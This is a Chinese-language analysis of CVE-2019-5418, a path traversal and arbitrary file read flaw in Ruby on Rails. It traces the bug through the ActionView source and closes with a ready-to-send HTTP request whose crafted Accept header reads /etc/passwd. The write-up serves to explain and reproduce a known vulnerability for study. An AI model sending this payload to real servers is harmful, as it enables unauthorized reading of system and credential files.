(CVE-2019-5418)Ruby on Rails 路径穿越与任意文件读取漏洞¶
一、漏洞简介¶
在控制器中通过render file
形式来渲染应用之外的视图,且会根据用户传入的Accept头来确定文件具体位置。我们通过传入Accept: ../../../../../../../../etc/passwd{{
头来构成构造路径穿越漏洞,读取任意文件。
二、漏洞影响¶
Ruby on Rails \< 6.0.0.beta3Ruby on Rails \< 5.2.2.1Ruby on Rails \< 5.1.6.2Ruby on Rails \< 5.0.7.2
三、复现过程¶
漏洞分析¶
在控制器中通过render file
形式来渲染应用之外的视图,因此在
actionview-5.2.1/lib/action_view/renderer/template_renderer.rb:22
中会根据 options.key?(:file)
,调用find_file
来寻找视图。
module ActionView
class TemplateRenderer < AbstractRenderer #:nodoc:
# Determine the template to be rendered using the given options.
def determine_template(options)
keys = options.has_key?(:locals) ? options[:locals].keys : []
if options.key?(:body)
...
elsif options.key?(:file)
with_fallbacks { find_file(options[:file], nil, false, keys, @details) }
...
end
end
find_file
代码如下:
def find_file(name, prefixes = [], partial = false, keys = [], options = {})
@view_paths.find_file(*args_for_lookup(name, prefixes, partial, keys, options))
end
继续跟入args_for_lookup
函数,用于生成用于查找文件的参数,当其最终返回时会把payload保存在details[formats]
中:
此后回到@view_paths.find_file
并跟入会进入
actionview-5.2.1/lib/action_view/path_set.rb:
class PathSet #:nodoc:
def find_file(path, prefixes = [], *args)
_find_all(path, prefixes, args, true).first || raise(MissingTemplate.new(self, path, prefixes, *args))
end
private
# 注,这里的 args 即前面args_for_lookup生成的details
def _find_all(path, prefixes, args, outside_app)
prefixes = [prefixes] if String === prefixes
prefixes.each do |prefix|
paths.each do |resolver|
if outside_app
templates = resolver.find_all_anywhere(path, prefix, *args)
else
templates = resolver.find_all(path, prefix, *args)
end
return templates unless templates.empty?
end
end
[]
end
由于要渲染的视图在应用之外,因此跟入find_all_anywhere
def find_all_anywhere(name, prefix, partial = false, details = {}, key = nil, locals = [])
cached(key, [name, prefix, partial], details, locals) do
find_templates(name, prefix, partial, details, true)
end
end
跳过cached
部分,跟入find_templates
,这里正式根据条件来查找要渲染的模板:
# An abstract class that implements a Resolver with path semantics.
class PathResolver < Resolver #:nodoc:
EXTENSIONS = { locale: ".", formats: ".", variants: "+", handlers: "." }
DEFAULT_PATTERN = ":prefix/:action{.:locale,}{.:formats,}{+:variants,}{.:handlers,}"
...
private
def find_templates(name, prefix, partial, details, outside_app_allowed = false)
path = Path.build(name, prefix, partial)
# 注意 details 与 details[:formats] 的传入
query(path, details, details[:formats], outside_app_allowed)
end
def query(path, details, formats, outside_app_allowed)
query = build_query(path, details)
template_paths = find_template_paths(query)
...
end
end
build_query后如下:
利用../
与前缀组合造成路径穿越,利用最后的{{
完成闭合,经过File.expand_path解析后组成的query如下:
/etc/passwd{{},}{+{},}{.{raw,erb,html,builder,ruby,coffee,jbuilder},}
最后/etc/passwd
被当成模板文件进行渲染,最后造成了任意文件读取。
漏洞复线¶
访问http://www.0-sec.org:3000/robots可见,正常的robots.txt文件被读取出来。
利用漏洞,发送如下数据包,读取/etc/passwd
:
GET /robots HTTP/1.1
Host: www.0-sec.org:3000
Accept-Encoding: gzip, deflate
Accept: ../../../../../../../../etc/passwd{{
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close